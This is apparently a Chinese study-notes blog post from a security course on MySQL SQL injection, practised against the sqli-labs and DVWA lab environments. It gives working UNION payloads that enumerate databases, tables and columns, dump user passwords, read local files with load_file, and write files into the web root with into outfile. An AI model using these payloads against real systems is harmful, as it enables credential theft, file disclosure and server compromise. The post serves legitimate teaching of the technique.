<小迪安全>13-SQL注入之mysql注入

目录

1.思维导图

 2.sqli-master演示

 3.文件读写


1.思维导图

 2.sqli-master演示

        schemata--所有数据库名

爆出所有数据库

https://192.168.200.130/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

 获取指定数据库DVWA数据库名下的表名信息:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='DVWA'​​​​​​

 获取指定DVWA下的表名users下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='DVWA'

 获取指定DVWA下的users数据

union select 1,user,password from DVWA.users

 3.文件读写

load_file():读取函数

into outfile 或 into dumpfile:导出函数

路径获取常见方法:

报错显示,遗留文件,漏洞报错,平台配置文件,爆破等

常见读写文件列表:

union select 1,load_file('C:\\key.txt'),3        读取本地文件

 

 union select 1,'x',3 into outfile 'C:\\phpstudy_pro\\WWW\\sqli-labs-master\\x.php'--+        本地文件写入

#常见写入问题:

 magic_quotes_gpc

当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL (NULL 字符)等字符,都会被加上反斜线

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值